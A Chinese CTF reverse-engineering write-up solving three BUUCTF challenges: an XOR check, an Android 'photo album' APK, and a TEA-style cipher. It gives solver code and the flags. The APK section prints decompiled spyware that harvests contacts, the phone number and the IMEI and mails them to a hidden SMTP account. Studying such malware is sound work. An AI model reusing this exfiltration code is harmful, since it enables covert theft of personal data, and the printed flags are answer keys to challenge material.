reverse学习总结(12)
一.[FlareOn4]IgniteMe1
https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip
根据汇编语言分析
查看需要返回为1的函数
int sub_401050()
{int v1; // [esp+0h] [ebp-Ch]int i; // [esp+4h] [ebp-8h]unsigned int j; // [esp+4h] [ebp-8h]char v4; // [esp+Bh] [ebp-1h]v1 = sub_401020(byte_403078);v4 = sub_401000();for ( i = v1 - 1; i >= 0; --i ){byte_403180[i] = v4 ^ byte_403078[i];v4 = byte_403078[i];}for ( j = 0; j < 0x27; ++j ){if ( byte_403180[j] != byte_403000[j] )return 0;}return 1;
}
可知
// v1 = sub_401020(byte_403078);
int __cdecl sub_401020(int a1)
{int i; // [esp+0h] [ebp-4h]for ( i = 0; *(i + a1); ++i );return i;
}
猜测和strlen相似
// v4 = sub_401000();
__int16 sub_401000()
{return __ROL4__(-2147024896, 4) >> 1;
}
学习一下:
__ROL4__
是一个宏或者函数,用于实现循环左移(Rotate Left)操作,通常在编程中用于位操作。循环左移是指将一个数的二进制表示向左移动指定的位数,并将移出的位重新插入到数的右侧。这个操作在不同的编程环境和编译器中可能有不同的实现和命名。
所以把他变成16进制数0x80070000,
2进制左移4位相当于16进制左移1位,是0x00700008
之后再右移一位是0x380004
加密之后和byte_403000相同,
加密函数
int sub_4010F0()
{unsigned int v0; // eaxchar Buffer[260]; // [esp+0h] [ebp-110h] BYREFDWORD NumberOfBytesRead; // [esp+104h] [ebp-Ch] BYREFunsigned int i; // [esp+108h] [ebp-8h]char v5; // [esp+10Fh] [ebp-1h]v5 = 0;for ( i = 0; i < 0x104; ++i )Buffer[i] = 0;ReadFile(hFile, Buffer, 0x104u, &NumberOfBytesRead, 0);for ( i = 0; ; ++i ){v0 = sub_401020(Buffer);if ( i >= v0 )break;v5 = Buffer[i];if ( v5 != 10 && v5 != 13 ){if ( v5 )byte_403078[i] = v5;}}return 1;
}
分析发现和加密没什么关系,所以不用看了
所以只有一次异或加密,写代码实现
#include<stdio.h>
#include<stdlib.h>
int main()
{unsigned char aIe[] =
{13, 38, 73, 69, 42, 23, 120, 68, 43, 108, 93, 94, 69, 18, 47, 23, 43, 68, 111, 110, 86, 9, 95, 69, 71, 115, 38, 10, 13, 19, 23, 72, 66, 1, 64, 77, 12, 2, 105,
};char flag [39];int i;int v4 = 0x380004;for ( i = 38; i >= 0; --i ){flag[i] = v4 ^ aIe[i];v4 = flag[i];}for(i=0;i<39;i++){printf("%c",flag[i]);}return 0;
}
R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com
二相册1
https://files.buuoj.cn/files/7f0577aa77c0e2997801c070b34047f2/bd3ebe0b-b510-4ace-988f-f61fe1291729.rar
下载完一看是apk文件,拖入gadx-gui中查看,因为提示中有邮箱,所以搜索mail,记得加载所有再查看
发现可能的关键函数,点进去
package cn.baidujiayuan.ver5304;import android.content.Context;
import android.os.AsyncTask;
import android.telephony.TelephonyManager;
import com.sun.mail.imap.IMAPStore;
import java.util.List;/* loaded from: classes.dex */
public class MailTask extends AsyncTask<Integer, Integer, String> {private String content;private Context context;public void run(String content) {String notebooks = "";List<String[]> notes = NoteBook.get(this.context, IMAPStore.RESPONSE);for (String[] note : notes) {notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";}TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");String tel = tm.getLine1Number();if (tel == null || tel.equals("")) {Sms getBFlag = A2.getNoteBook(content);tel = getBFlag.phoneNumber;}A2.getNoteBook(content);if (!A2.isEmpty(notebooks)) {TelephonyManager telephonyManager = (TelephonyManager) this.context.getSystemService("phone");String imei = telephonyManager.getDeviceId();A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + imei + ")", notebooks);}}public MailTask(String content, Context context) {this.content = content;this.context = context;}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic String doInBackground(Integer... params) {publishProgress(1);A2.log("拦截消息doInBackground");run(this.content);return "doInBackground:" + this.content;}@Override // android.os.AsyncTaskprotected void onPreExecute() {A2.log("拦截消息后准备发送");}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic void onProgressUpdate(Integer... values) {A2.log("拦截消息后准备发送中");}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic void onPostExecute(String result) {A2.log("拦截消息后发送结束:" + result);}
}
查看MAILSERVER函数
package cn.baidujiayuan.ver5304;import android.content.Context;
import android.content.SharedPreferences;
import com.net.cn.NativeMethod;
import it.sauronsoftware.base64.Base64;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.Date;/* loaded from: classes.dex */
public class C2 {public static final String CANCELNUMBER = "%23%2321%23";public static final String MAILFROME;public static final String MAILHOST = "smtp.163.com";public static final String MAILPASS;public static final String MAILSERVER;public static final String MAILUSER;public static final String MOVENUMBER = "**21*121%23";public static final String PORT = "25";public static final String date = "2115-11-1";public static final String phoneNumber;static {System.loadLibrary("core");MAILSERVER = Base64.decode(NativeMethod.m());MAILUSER = Base64.decode(NativeMethod.m());MAILPASS = Base64.decode(NativeMethod.pwd());MAILFROME = Base64.decode(NativeMethod.m());phoneNumber = Base64.decode(NativeMethod.p());}public static Date strToDateLong(String strDate) {SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");ParsePosition pos = new ParsePosition(0);Date strtodate = formatter.parse(strDate, pos);return strtodate;}public static boolean isFilter(Context context) {Date lastN = strToDateLong(date);Date currentTime = new Date();return lastN.getTime() - currentTime.getTime() < 0;}public static boolean isServerFilter(Context context) {SharedPreferences mSharedPreferences = context.getSharedPreferences("X", 0);String m = mSharedPreferences.getString("m", A2.FILTERSETUPTAG);return m.equals(A2.FILTERSETUPTAG);}
}
查看数据NativeMethod
学习一下:
在jadx中,"native"指的是原生方法,这些方法在Java代码中声明,但它们的实现位于C或C++编写的本地库中。原生方法使用`native`关键字进行声明,这意味着它们在Java虚拟机(JVM)之外执行,通常用于访问底层系统资源或进行性能关键型操作。在Android开发中,原生方法常用于与NDK(Native Development Kit)交互,以实现更接近硬件层面的功能。
在jadx反编译过程中,原生方法的声明会被识别,但由于它们的实现在本地库中,jadx无法提供这些方法的具体实现细节。用户可能会看到类似`public native String stringFromJNI();`的声明,这表明该方法是一个原生方法,其实现需要在本地代码中找到。
在jadx中,"native"关键字用于声明Java代码中的本地方法,这些方法在Java层声明,但其实现位于C或C++编写的本地库中,通常编译为.so文件。这些本地方法通过JNI(Java Native Interface)与Java代码交互,允许Android应用程序访问底层系统资源或执行性能关键型操作。当jadx反编译包含native方法的Android应用时,它会识别出这些方法,但无法提供其在.so文件中的具体实现细节,因为实现代码位于本地库中,不在Java代码中。
.so文件是C/C++代码编译后的动态链接库,它们在Android应用中用于实现native方法。这些.so文件可以在Android的JNI中被Java代码调用。jadx作为一个反编译工具,可以帮助开发者理解应用程序的结构,包括那些通过JNI调用的native方法。然而,要查看这些native方法的具体实现,需要查看相应的.so文件或C/C++源代码。
所以我们要找到apk文件的.so文件
其中apk就是一个安装包,解压之后在ida中打开.so文件查找即可,因为可以看出是base64加密,所以一般密文最后有"="填充符
查找字符串
在线自定义base64编解码、在线二进制转可打印字符、在线base2、base4、base8、base16、base32、base64--查错网
flag{18218465125@163.com}
三.[GWCTF 2019]xxor1
https://files.buuoj.cn/files/baba20fce498e7b1d5ad774fcb5bc89e/attachment
多学习于此:
BUUCTF [GWCTF 2019]xxor_buuctf xxor-CSDN博客
re题(37)BUUCTF-[GWCTF 2019]xxor-CSDN博客
查壳和找到主函数都没有问题,从分析代码开始
__int64 __fastcall main(int a1, char **a2, char **a3)
{int i; // [rsp+8h] [rbp-68h]int j; // [rsp+Ch] [rbp-64h]__int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF__int64 v7[6]; // [rsp+40h] [rbp-30h] BYREFv7[5] = __readfsqword(0x28u);puts("Let us play a game?");puts("you have six chances to input");puts("Come on!");memset(v6, 0, 40);for ( i = 0; i <= 5; ++i ){printf("%s", "input: ");a2 = (v6 + 4 * i);__isoc99_scanf("%d", a2);}memset(v7, 0, 40);for ( j = 0; j <= 2; ++j ){dword_601078 = v6[j];high = HIDWORD(v6[j]);a2 = &unk_601060;xxor(&dword_601078, &unk_601060);LODWORD(v7[j]) = dword_601078;HIDWORD(v7[j]) = high;}if ( sub_400770(v7, a2) != 1 ){puts("NO NO NO~ ");exit(0);}puts("Congratulation!\n");puts("You seccess half\n");puts("Do not forget to change input to hex and combine~\n");puts("ByeBye");return 0LL;
}
(1)读入代码
for ( i = 0; i <= 5; ++i )
{printf("%s", "input: ");a2 = (v6 + 4 * i);__isoc99_scanf("%d", a2);
}
循环6次,
提示输入,
char **a2
表示一个指向字符指针的指针,所以a2指向v6,
之后读取一个整数,并将其存储在 a2
指向的位置。由于 a2
是 v6
数组中第 i
个元素的地址,所以这个整数将被存储在 v6[i]
中。
(2)查看密文
查看sub_400770可以知道所需要的值,
__int64 __fastcall sub_400770(_DWORD *a1)
{if ( a1[2] - a1[3] == 0x84A236FFLL&& a1[3] + a1[4] == 0xFA6CB703LL&& a1[2] - a1[4] == 1121399208LL&& *a1 == 0xDF48EF7E&& a1[5] == 0x84F30420&& a1[1] == 0x20CAACF4 ){puts("good!");return 1LL;}else{puts("Wrong!");return 0LL;}
}
学习z3解方程
Z3 定理证明器使用教程-CSDN博客
安装好之后就代入数据即可
from z3 import *s = Solver()
a1 = [Int(f'a1[{i}]') for i in range(6)]# 添加约束
s.add(a1[2] - a1[3] == 2225223423)
s.add(a1[3] + a1[4] == 4201428739)
s.add(a1[2] - a1[4] == 1121399208)
s.add(a1[0] == -548868226)
s.add(a1[5] == -2064448480)
s.add(a1[1] == 550153460)# 检查是否有解
if s.check() == sat:print(s.model())
else:print("No solution found.")
(3)加密方式
进入循环,知道v6一共有6个字符串,看到j++,只循环三次,但是在汇编中
j+=2;所以伪代码错误了,应该是v6的每一个数都加密(虽然j+=2也不一定是每一个都加密,但是既然错都错了,所以按照常理来说应该是都加密吧.....)
汇编语言没学过,所以直接抄了....结果还是不太懂.
.text:00000000004007D0 mov [rbp+var_8], rax
.text:00000000004007D4 mov eax, 84A236FFh
.text:00000000004007D9 cmp [rbp+var_18], rax
.text:00000000004007DD jnz short loc_400845
.text:00000000004007DF mov eax, 0FA6CB703h
.text:00000000004007E4 cmp [rbp+var_10], rax
.text:00000000004007E8 jnz short loc_400845
.text:00000000004007EA cmp [rbp+var_8], 42D731A8h
.text:00000000004007F2 jnz short loc_400845
.text:00000000004007F4 mov rax, [rbp+var_28]
.text:00000000004007F8 mov eax, [rax]
.text:00000000004007FA cmp eax, 0DF48EF7Eh
.text:00000000004007FF jnz short loc_400834
.text:0000000000400801 mov rax, [rbp+var_28]
.text:0000000000400805 add rax, 14h
.text:0000000000400809 mov eax, [rax]
.text:000000000040080B cmp eax, 84F30420h
.text:0000000000400810 jnz short loc_400834
.text:0000000000400812 mov rax, [rbp+var_28]
.text:0000000000400816 add rax, 4
.text:000000000040081A mov eax, [rax]
.text:000000000040081C cmp eax, 20CAACF4h
可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))
如下代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了
注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了
(尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)
unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };
int tmp1, tmp2;
tmp1 = LODWORD(a1[0]);// -548868226
tmp2 = HIDWORD(a1[1]);// 550153460
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/2301_80907001/article/details/142407558
xxor加密函数
__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)
{__int64 result; // raxunsigned int v3; // [rsp+1Ch] [rbp-24h]unsigned int v4; // [rsp+20h] [rbp-20h]int v5; // [rsp+24h] [rbp-1Ch]unsigned int i; // [rsp+28h] [rbp-18h]v3 = *a1;v4 = a1[1];v5 = 0;for ( i = 0; i <= 63; ++i ){v5 += 0x458BCD42;v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;}*a1 = v3;result = v4;a1[1] = v4;return result;
}
可知是tea加密,是对称加密,所以a2unk_601060应该是4个数,而每次传入的是两个数,所以就是j+=2;
所以a2unk_601060是2,2,3,4,对于j来说,只要是熟悉了tea加密,应该能猜出来(算法以32bits 的字为运算单位)
之后写代码实现
#include <stdio.h>
int main()
{int a1[6];a1[4] = 2652626477;a1[1] = 550153460;a1[3] = 1548802262;a1[5] = 2230518816;a1[2] = 3774025685;a1[0] = 3746099070;int a2[4]={2,2,3,4};int i,j;for(j=0;j<6;j+=2)
{__int64 result; // raxunsigned int v3; // [rsp+1Ch] [rbp-24h]unsigned int v4; // [rsp+20h] [rbp-20h]int v5; // [rsp+24h] [rbp-1Ch]unsigned int i; // [rsp+28h] [rbp-18h]v3 = a1[j];v4 = a1[j+1];v5 = 1166789954*64;for ( i = 0; i <= 63; ++i ){v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;v5 -= 1166789954;}a1[j] = v3;a1[j+1] = v4;
}for(i=0;i<6;i++){printf("%x\n",a1[i]);}
}
因为要把数字转换成字符串,所以我输出成16进制数%x,之后因为是6位16进制的数,又因为段序问题,所以直接在devc中再写代码实现字符串输出
printf("%c%c%c", *((char*)&a1[i] + 2), *((char*)&a1[i] + 1), *(char*)&a1[i]);
flag{re_is_great!}
或者用在线网站转成字符串ASCII码转字符串 - ASCII码
flag{re_is_great!}
相关文章:

reverse学习总结(12)
一.[FlareOn4]IgniteMe1 https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip 根据汇编语言分析 查看需要返回为1的函数 int sub_401050() {int v1; // [esp0h] [ebp-Ch]int i; // [esp4h] [ebp-8h]unsigned int j; // [esp4h] [ebp-8h]char v4; …...

基于“微店 Park”模式下 2+1 链动模式商城小程序的创新发展与应用研究
摘要:本文以“微店 Park”从“开店工具”向“众创平台”的转型为背景,深入探讨 21 链动模式商城小程序在该平台情境下的应用潜力与创新发展路径。通过剖析“微店 Park”的运营模式,包括灵活承租、低成本入驻、多元流量引流等特点,…...

C++11:【列表初始化】【右值引用和移动语义】
目录 一.列表初始化 1.1 C98传统的{} 1.2C11中的{} 1.3C中的std::initializer_list 二.右值引用和移动语义 2.1左值和右值 2.2左值引用和右值引用 2.3引用延长生命周期 2.4左值和右值的参数匹配 2.5右值引用和移动语义的使用场景 2.5.1左值引用主要使用场景 2.5.2移…...

Zookeeper的通知机制是什么?
大家好,我是锋哥。今天分享关于【Zookeeper的通知机制是什么?】面试题。希望对大家有帮助; Zookeeper的通知机制是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Zookeeper的通知机制主要通过Watcher实现,它是Zookeeper客…...

嵌入式蓝桥杯学习1 电量LED
cubemx配置 1.新建一个STM32G431RBT6文件 2.在System-Core中点击SYS,找到Debug(设置为Serial Wire) 3.在System-Core中点击RCC,找到High Speed Clock(设置为Crystal/Ceramic Resonator) 4.打开Clock Configuration ࿰…...

bsmap输出结果解释
关于, , -, --的解释 对应着参考基因组的正链(有义链,非模板链,即hg38的序列,watson链); -代表正链的互补链(正常情况下正链的互补链是负链,但在重硫酸盐处理后正链和负链并不互补…...

【java-数据结构篇】揭秘 Java LinkedList:链表数据结构的 Java 实现原理与核心概念
我的个人主页 我的专栏:Java-数据结构,希望能帮助到大家!!!点赞❤ 收藏❤ 目录 1. Java LinkedList 基础 1.1 LinkedList 简介 1.2 LinkedList 的实现原理 1.3 LinkedList 与 ArrayList 的区别 2. 链表基础 2.1 链…...
macOS运行amd64的镜像
在macOS上运行amd64(x86_64)架构的镜像,通常通过虚拟化或仿真工具来实现。例如,如果你使用的是基于Apple Silicon(M1或M2等)芯片的Mac,那么你的处理器是ARM架构的,而amd64是x86架构&…...

轻量的基于图结构的RAG方案LightRAG
LightRAG出自2024年10月的论文《LIGHTRAG: SIMPLE AND FASTRETRIEVAL-AUGMENTED GENERATION》(github),也是使用图结构来索引和搜索相关文本。 LightRAG作者认为已有的RAG系统有如下两个限制,导致难以回答类似"How does the rise of electric vehi…...

计算机的错误计算(一百七十三)
摘要 给定多项式 在 MATLAB 中计算 的值。输出是错误结果。 例1. 已知 计算 直接贴图吧: 这样,MATLAB 输出了错误结果。因为准确值为 0.2401e-16 . 注:可参看计算机的错误计算(六)。...

【力扣】—— 二叉树的前序遍历、字典序最小回文串
Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:数据结构 📚本系列文章为个人学…...
linux替换更高版本gcc
实际使用时对与gcc版本有很多要求, 需要在centos上安装更高版本的gcc 1、安装centos-release-scl sudo yum install centos-release-scl2、安装devtoolset,注意,如果想安装7.版本的,就改成devtoolset-7-gcc,以此类推 sudo yum …...
在Java中使用Apache POI导入导出Excel(六)
本文将继续介绍POI的使用,上接在Java中使用Apache POI导入导出Excel(五) 使用Apache POI组件操作Excel(六) 43、隐藏和取消隐藏行 使用 Excel,可以通过选择该行(或行)来隐藏工作表…...
`uni.setClipboardData` 是 uni-app 提供的一个 API 设置系统剪贴板的内容
uni.setClipboardData是uni-app提供的一个API,用于设置系统剪贴板的内容。 使用说明: 使用此API可以将指定的文本内容复制到系统剪贴板,使用户能够在其他应用或页面中粘贴这些内容。 uni.setClipboardData({data: , // 需要复制的内容 suc…...
【大模型微调】pdf转markdown
目前市面上大部分都是pdf文档,要想转换成能训练的文本,调研了各种工具。 觉得MinerU确实不错。 参考此链接进行操作 MinerU/docs/README_Ubuntu_CUDA_Acceleration_en_US.md at master opendatalab/MinerU GitHub 需要注意的几个点: 1. 使用root账户安装的,配置文件在…...
Vue 3 结合 TypeScript基本使用
Vue 3 结合 TypeScript 使用可以提供更加强大的类型检查和开发体验。以下是一些基本的步骤来开始使用 Vue 3 和 TypeScript: 1. 创建项目 你可以使用 Vue CLI 来快速创建一个支持 TypeScript 的 Vue 项目。首先确保你已经安装了 Node.js 和 npm。然后全局安装或更…...

Trotter steps的复杂性分析
总结 • 我们开发了使用汉密尔顿系数结构执行 Trotter 步骤的递归方法,超越了顺序方法。 • #Gate/Step 在汉密尔顿项数上是次线性的,而 #Step 仍然保持交换子缩放。 • 新结果给出了实空间中第二量化电子结构汉密尔顿的最快量子模拟。对第一量化量子模…...

mean,median,mode,var,std,min,max函数
剩余的函数都放在这篇里面吧 m e a n mean mean函数可以求平均值 a a a为向量时, m e a n ( a ) mean(a) mean(a)求向量中元素的平均值 a a a为矩阵时, m e a n ( a , 1 ) mean(a,1) mean(a,1)求矩阵中各列元素的平均值; m e a n ( a , 2 )…...

JavaScript实现tab栏切换
JavaScript实现tab栏切换 代码功能概述 这段代码实现了一个简单的选项卡(Tab)切换功能。它通过操作 HTML 元素的类名(class)来控制哪些选项卡(Tab)和对应的内容板块显示,哪些隐藏。基本思路是先…...
精确电压输出,家电和工业设备的完美选择,宽输入电压线性稳压器
WD5201线性稳压器的核心内容概述: 主要特点 • 高精度输出电压:2%精度。 • 输出电压可调:支持5V、3.3V、2.7V三档输出。 • 优化控制方式:提升效率。 • 宽输入电压范围:80305VAC。 • 无需功率电感和输入高压电…...
OkHttp 中实现断点续传 demo
在 OkHttp 中实现断点续传主要通过以下步骤完成,核心是利用 HTTP 协议的 Range 请求头指定下载范围: 实现原理 Range 请求头:向服务器请求文件的特定字节范围(如 Range: bytes1024-) 本地文件记录:保存已…...

涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战
“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战
在现代战争中,电磁频谱已成为继陆、海、空、天之后的 “第五维战场”,雷达作为电磁频谱领域的关键装备,其干扰与抗干扰能力的较量,直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器,凭借数字射…...

以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...
AGain DB和倍数增益的关系
我在设置一款索尼CMOS芯片时,Again增益0db变化为6DB,画面的变化只有2倍DN的增益,比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析: 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...

安全突围:重塑内生安全体系:齐向东在2025年BCS大会的演讲
文章目录 前言第一部分:体系力量是突围之钥第一重困境是体系思想落地不畅。第二重困境是大小体系融合瓶颈。第三重困境是“小体系”运营梗阻。 第二部分:体系矛盾是突围之障一是数据孤岛的障碍。二是投入不足的障碍。三是新旧兼容难的障碍。 第三部分&am…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...

TSN交换机正在重构工业网络,PROFINET和EtherCAT会被取代吗?
在工业自动化持续演进的今天,通信网络的角色正变得愈发关键。 2025年6月6日,为期三天的华南国际工业博览会在深圳国际会展中心(宝安)圆满落幕。作为国内工业通信领域的技术型企业,光路科技(Fiberroad&…...

【UE5 C++】通过文件对话框获取选择文件的路径
目录 效果 步骤 源码 效果 步骤 1. 在“xxx.Build.cs”中添加需要使用的模块 ,这里主要使用“DesktopPlatform”模块 2. 添加后闭UE编辑器,右键点击 .uproject 文件,选择 "Generate Visual Studio project files",重…...